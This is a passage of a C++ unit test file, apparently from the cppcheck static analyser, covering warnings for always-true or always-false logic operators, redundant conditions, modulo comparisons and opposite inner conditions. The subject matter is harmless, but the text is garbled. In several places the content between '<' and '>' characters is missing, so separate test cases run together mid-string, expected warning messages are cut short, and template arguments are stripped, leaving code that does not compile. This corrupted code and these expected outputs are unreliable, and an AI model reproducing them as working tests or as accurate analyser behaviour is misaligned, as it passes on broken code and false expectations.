'z');\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:2:25]: (style) Return value 'c>='z'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator7() { // opposite expressions\n check(\"void f(int i) {\\n\"\n \" if (i || !i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (warning) Logical disjunction always evaluates to true: i || !(i). [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (a>b || a<=b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Logical disjunction always evaluates to true: a > b || a <= b. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (a>b || a T icdf( const T uniform ) {\\n\"\n \" if ((0 -1.0 - 1.0e-12))\\n\"\n \" return;\\n\"\n \" else\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator8() { // opposite expressions\n check(\"void f(int i) {\\n\"\n \" if (!(i!=10) && !(i!=20)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: !(i != 10) && !(i != 20). [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator9() { // #6069 \"False positive incorrectLogicOperator due to dynamic_cast\"\n check(\"class MyType;\\n\"\n \"class OtherType;\\n\"\n \"void foo (OtherType* obj) {\\n\"\n \" assert((!obj) || dynamic_cast(obj));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator10() { // #7794 - enum\n check(\"typedef enum { A, B } Type_t;\\n\"\n \"void f(Type_t t) {\\n\"\n \" if ((t == A) && (t == B))\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Logical conjunction always evaluates to false: t == 0 && t == 1. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator11() {\n check(\"void foo(int i, const int n) { if ( i < n && i == n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (warning) Logical conjunction always evaluates to false: i < n && i == n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i > n && i == n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (warning) Logical conjunction always evaluates to false: i > n && i == n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i == n && i > n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:44]: (warning) Logical conjunction always evaluates to false: i == n && i > n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i == n && i < n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:44]: (warning) Logical conjunction always evaluates to false: i == n && i < n. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator12() { // #8696\n check(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:9] -> [test.cpp:6:9] -> [test.cpp:8:13]: (warning) Logical conjunction always evaluates to false: a > x && a < y. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(A a, A b) {\\n\"\n \" const A x = b;\\n\"\n \" const A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:3:15] -> [test.cpp:5:13]: (warning) Logical conjunction always evaluates to false: a > x && a < y. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void foo(A a) {\\n\"\n \" A x = a;\\n\"\n \" A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:18]: (style) Condition 'a x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(A a) {\\n\"\n \" A x = a;\\n\"\n \" A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(A a) {\\n\"\n \" const A x = a;\\n\"\n \" const A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:18]: (style) Condition 'a [test.cpp:3:18]: (warning) Logical conjunction always evaluates to false: v == 1 && x == 2. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f2(const int *v) {\\n\"\n \" const int *x=v;\\n\"\n \" if ((*v == 1) && (*x == 2)) {;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:3:19]: (warning) Logical conjunction always evaluates to false: *(v) == 1 && *(x) == 2. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator14() {\n check(\"static const std ::string h;\\n\"\n \"class i {\\n\"\n \"public:\\n\"\n \" struct j {\\n\"\n \" std ::string k;\\n\"\n \" std ::string l;\\n\"\n \" };\\n\"\n \" struct a {\\n\"\n \" enum { m = 1 };\\n\"\n \" };\\n\"\n \"} b;\\n\"\n \"namespace n {\\n\"\n \"class c;\\n\"\n \"}\\n\"\n \"struct o {\\n\"\n \" enum { p, d, q, r };\\n\"\n \" enum { e, f };\\n\"\n \"\\n\"\n \"public:\\n\"\n \" class j {\\n\"\n \" public:\\n\"\n \" class s {\\n\"\n \" std ::string a;\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace n {\\n\"\n \"class b;\\n\"\n \"}\\n\"\n \"namespace aa {\\n\"\n \"class d {\\n\"\n \"public:\\n\"\n \" char t;\\n\"\n \" enum {} u;\\n\"\n \"};\\n\"\n \"} // namespace aa\\n\"\n \"namespace aa {\\n\"\n \"struct e {};\\n\"\n \"} // namespace aa\\n\"\n \"class a;\\n\"\n \"class w {\\n\"\n \"public:\\n\"\n \" enum { x };\\n\"\n \" struct {\\n\"\n \" } y;\\n\"\n \" std ::string z;\\n\"\n \"};\\n\"\n \"class ab {\\n\"\n \" friend class c;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" class ac {\\n\"\n \" void e(const ac &v) const;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class f;\\n\"\n \"class ad {\\n\"\n \" friend class e;\\n\"\n \" enum { e, ae, ag, ah, ai, aj, ak, a, b };\\n\"\n \" class c {};\\n\"\n \" class d {\\n\"\n \" enum am { f, an, ao, ap, aq, ar, b, as, at, c, au };\\n\"\n \" enum av { aw, ax, ay, az, e, ba, bb, bc, bd, a };\\n\"\n \" struct b {\\n\"\n \" am action;\\n\"\n \" av c;\\n\"\n \" };\\n\"\n \" };\\n\"\n \" class e {\\n\"\n \" public:\\n\"\n \" std ::string e;\\n\"\n \" class f {\\n\"\n \" } f;\\n\"\n \" class be {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \" std ::vector bf;\\n\"\n \" enum { bg, b } c;\\n\"\n \" };\\n\"\n \" struct bh {\\n\"\n \" std ::map b;\\n\"\n \" };\\n\"\n \" std ::map bi;\\n\"\n \" struct {\\n\"\n \" int b;\\n\"\n \" char bj;\\n\"\n \" } bk;\\n\"\n \" class a {\\n\"\n \" public:\\n\"\n \" std ::set b;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class bl;\\n\"\n \"class al;\\n\"\n \"class bm;\\n\"\n \"class f;\\n\"\n \"class b;\\n\"\n \"class bn;\\n\"\n \"namespace bo {\\n\"\n \"class bp {\\n\"\n \"public:\\n\"\n \" typedef std ::pair bq;\\n\"\n \" typedef std ::list br;\\n\"\n \"};\\n\"\n \"const bo ::bp *dg(const f *a, const al *b);\\n\"\n \"} // namespace bo\\n\"\n \"const bn *dh(const f *d, bo ::bp ::br &bs);\\n\"\n \"class f {\\n\"\n \"public:\\n\"\n \" struct bt {};\\n\"\n \" std ::vector f;\\n\"\n \"};\\n\"\n \"class bu;\\n\"\n \"class a;\\n\"\n \"class c;\\n\"\n \"struct bv {};\\n\"\n \"class af {\\n\"\n \"private:\\n\"\n \"public:\\n\"\n \" enum { b, d, e, f, c, bw };\\n\"\n \" void a(int c);\\n\"\n \" af *bx() const;\\n\"\n \"};\\n\"\n \"namespace by {\\n\"\n \"class b;\\n\"\n \"}\\n\"\n \"class b {\\n\"\n \"public:\\n\"\n \" bool d, c;\\n\"\n \"};\\n\"\n \"class bz;\\n\"\n \"class f;\\n\"\n \"class ca {\\n\"\n \" friend class b;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" const bm *cb() const { return cc; }\\n\"\n \" f *d(f *e, bool f) const;\\n\"\n \" int e() { return ++cd; }\\n\"\n \" bl *const c;\\n\"\n \" bm *cc;\\n\"\n \" std ::map ce;\\n\"\n \" int cd;\\n\"\n \" bz *a;\\n\"\n \"};\\n\"\n \"namespace n {\\n\"\n \"class c;\\n\"\n \"class d;\\n\"\n \"} // namespace n\\n\"\n \"class cf {\\n\"\n \"public:\\n\"\n \" explicit cf(const std ::string &aname);\\n\"\n \" cf(const std ::string &aname, const ca *cg, const al *ch, bl *ci)\\n\"\n \" : cj(cg), ck(ch), cl(ci), cn(aname) {}\\n\"\n \"\\n\"\n \"protected:\\n\"\n \" const ca *const cj;\\n\"\n \" const al *const ck;\\n\"\n \" bl *const cl;\\n\"\n \" const std ::string cn;\\n\"\n \"};\\n\"\n \"class cm : public cf {\\n\"\n \"public:\\n\"\n \" void cp();\\n\"\n \" std ::string d() const;\\n\"\n \"};\\n\"\n \"struct co {\\n\"\n \" co();\\n\"\n \" const bu *a;\\n\"\n \" enum f {};\\n\"\n \" enum {\\n\"\n \" b = (1 << 0),\\n\"\n \" c = (1 << 1),\\n\"\n \" };\\n\"\n \" void d(bool e);\\n\"\n \"};\\n\"\n \"class bu {\\n\"\n \" friend class e;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" struct f {};\\n\"\n \" enum { d, cr, cq, ct, cs, e, a, b, c, dd, cu, cv, cw, cx, cy, cz, da };\\n\"\n \" const f *db;\\n\"\n \" const af *dc;\\n\"\n \"} f{};\\n\"\n \"class bm {\\n\"\n \"public:\\n\"\n \" std ::list df;\\n\"\n \" std ::vector de;\\n\"\n \" mutable std ::set f;\\n\"\n \"};\\n\"\n \"void cm ::cp() {\\n\"\n \" const bm *a = cj->cb();\\n\"\n \" for (const bu *b : a->de)\\n\"\n \" for (af *c = b->dc->bx();;) {\\n\"\n \" af *d = c;\\n\"\n \" af *e = c;\\n\"\n \" bool f(d);\\n\"\n \" bool g(e);\\n\"\n \" if (f && g)\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:200:11] -> [test.cpp:200:16]: (style) Condition 'g' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator15() {\n // 10022\n check(\"struct PipeRoute {\\n\"\n \" std::deque points;\\n\"\n \" std::deque estimates;\\n\"\n \"};\\n\"\n \"void CleanPipeRoutes(std::map& pipeRoutes) {\\n\"\n \" for (auto it = pipeRoutes.begin(); it != pipeRoutes.end(); ) {\\n\"\n \" PipeRoute* curRoute = it->second;\\n\"\n \" if (curRoute->points.empty() && curRoute->estimates.size() != 2)\\n\"\n \" {\\n\"\n \" delete curRoute;\\n\"\n \" it = pipeRoutes.erase(it);\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator16() { // #10070\n check(\"void foo(void* p) {\\n\"\n \" if (!p || p == -1) { }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator17() { // #12471\n check(\"struct R {\\n\"\n \" void set() { i = 1; }\\n\"\n \" int get() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct P {\\n\"\n \" void f();\\n\"\n \" R* r;\\n\"\n \"};\\n\"\n \"void P::f() {\\n\"\n \" int a = r->get();\\n\"\n \" r->set();\\n\"\n \" if (a == 0 && r->get()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void secondAlwaysTrueFalseWhenFirstTrueError() {\n check(\"void f(void) {\\n\" // #8892\n \" const char c[1] = { \\'x\\' }; \\n\"\n \" if(c[0] == \\'x\\'){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'c[0]=='x'' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x != 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x != 1' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x != 6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x > 5) && (x != 1))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Redundant condition: The condition 'x != 1' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x > 5) && (x != 6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 3 || x == 4;\\n\"\n \" c = x < 5 || x == 4;\\n\"\n \" d = x >= 3 || x == 4;\\n\"\n \" e = x <= 5 || x == 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x > 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x < 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:16]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x >= 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:16]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x <= 5' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 5 || x != 1;\\n\"\n \" c = x < 1 || x != 3;\\n\"\n \" d = x >= 5 || x != 1;\\n\"\n \" e = x <= 1 || x != 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x != 1' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x < 1' is redundant since 'x != 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:16]: (style) Redundant condition: The condition 'x >= 5' is redundant since 'x != 1' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:16]: (style) Redundant condition: The condition 'x <= 1' is redundant since 'x != 3' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 6 && x > 5;\\n\"\n \" c = x > 5 || x > 6;\\n\"\n \" d = x < 6 && x < 5;\\n\"\n \" e = x < 5 || x < 6;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x > 6' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x > 6' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:15]: (style) Redundant condition: The condition 'x < 6' is redundant since 'x < 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:15]: (style) Redundant condition: The condition 'x < 5' is redundant since 'x < 6' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(double x, bool& b) {\\n\"\n \" b = x > 6.5 && x > 5.5;\\n\"\n \" c = x > 5.5 || x > 6.5;\\n\"\n \" d = x < 6.5 && x < 5.5;\\n\"\n \" e = x < 5.5 || x < 6.5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Redundant condition: The condition 'x > 5.5' is redundant since 'x > 6.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:17]: (style) Redundant condition: The condition 'x > 6.5' is redundant since 'x > 5.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:17]: (style) Redundant condition: The condition 'x < 6.5' is redundant since 'x < 5.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:17]: (style) Redundant condition: The condition 'x < 5.5' is redundant since 'x < 6.5' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(const char *p) {\\n\" // #10320\n \" if (!p || !*p || *p != 'x') {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Redundant condition: The condition '!*p' is redundant since '*p != 'x'' is sufficient. [redundantCondition]\\n\",\n errout_str());\n }\n\n void incorrectLogicOp_condSwapping() {\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 && x < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (3 < x && x < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 && 1 > x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (3 < x && 1 > x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void modulo() {\n check(\"bool f(bool& b1, bool& b2, bool& b3) {\\n\"\n \" b1 = a % 5 == 4;\\n\"\n \" b2 = a % c == 100000;\\n\"\n \" b3 = a % 5 == c;\\n\"\n \" return a % 5 == 5-p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool& b1, bool& b2, bool& b3, bool& b4, bool& b5) {\\n\"\n \" b1 = a % 5 < 5;\\n\"\n \" b2 = a % 5 <= 5;\\n\"\n \" b3 = a % 5 == 5;\\n\"\n \" b4 = a % 5 != 5;\\n\"\n \" b5 = a % 5 >= 5;\\n\"\n \" return a % 5 > 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:3:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:4:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:5:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:6:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:7:18]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\",\n errout_str());\n\n check(\"void f(bool& b1, bool& b2) {\\n\"\n \" b1 = bar() % 5 < 889;\\n\"\n \" if(x[593] % 5 <= 5)\\n\"\n \" b2 = x.a % 5 == 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:20]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:3:19]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:4:22]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" if (a % 2 + b % 2 == 2)\\n\"\n \" foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerCondition() {\n check(\"void foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" if(a!=b)\\n\"\n \" cout << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"bool foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" return a!=b;\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:17]: (warning) Opposite inner 'return' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" if(b!=a)\\n\"\n \" cout << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" if(a >= 50) {\\n\"\n \" if(a < 50)\\n\"\n \" cout << a;\\n\"\n \" else\\n\"\n \" cout << 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:14]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n // #4186\n check(\"void foo(int a) {\\n\"\n \" if(a >= 50) {\\n\"\n \" if(a > 50)\\n\"\n \" cout << a;\\n\"\n \" else\\n\"\n \" cout << 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 4170\n check(\"class foo {\\n\"\n \" void bar() {\\n\"\n \" if (tok == '(') {\\n\"\n \" next();\\n\"\n \" if (tok == ',') {\\n\"\n \" next();\\n\"\n \" if (tok != ',') {\\n\"\n \" op->reg2 = asm_parse_reg();\\n\"\n \" }\\n\"\n \" skip(',');\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" void next();\\n\"\n \" const char *tok;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i)\\n\"\n \"{\\n\"\n \" if(i > 5) {\\n\"\n \" i = bar();\\n\"\n \" if(i < 5) {\\n\"\n \" cout << a;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i) {\\n\"\n \" i=6;\\n\"\n \"}\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i);\\n\"\n \"void bar() {\\n\"\n \" int i; i = func();\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i);\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(const int &i);\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int i);\\n\"\n \"void bar() {\\n\"\n \" int i; i = func();\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:6:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"class C { void f(int &i) const; };\\n\" // #7028 - variable is changed by const method\n \"void foo(C c, int i) {\\n\"\n \" if (i==5) {\\n\"\n \" c.f(i);\\n\"\n \" if (i != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // see linux revision 1f80c0cc\n check(\"int generic_write_sync(int,int,int);\\n\"\n \"\\n\"\n \"void cifs_writev(int i) {\\n\"\n \" int rc = __generic_file_aio_write();\\n\"\n \" if (rc > 0){\\n\"\n \" err = generic_write_sync(file, iocb->ki_pos - rc, rc);\\n\"\n \" if(rc < 0) {\\n\" // <- condition is always false\n \" err = rc;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:11] -> [test.cpp:7:14]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n\n // #5874 - array\n check(\"void testOppositeConditions2() {\\n\"\n \" int array[2] = { 0, 0 };\\n\"\n \" if (array[0] < 2) {\\n\"\n \" array[0] += 5;\\n\"\n \" if (array[0] > 2) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6227 - FP caused by simplifications of casts and known variables\n check(\"void foo(A *a) {\\n\"\n \" if(a) {\\n\"\n \" B *b = dynamic_cast(a);\\n\"\n \" if(!b) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" if(a) {\\n\"\n \" int b = a;\\n\"\n \" if(!b) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:2:7] -> [test.cpp:4:11]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(unsigned u) {\\n\"\n \" if (u != 0) {\\n\"\n \" for (int i=0; i<32; i++) {\\n\"\n \" if (u == 0) {}\\n\" // <- don't warn\n \" u = x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8186\n check(\"void f() {\\n\"\n \" for (int i=0;i<4;i++) {\\n\"\n \" if 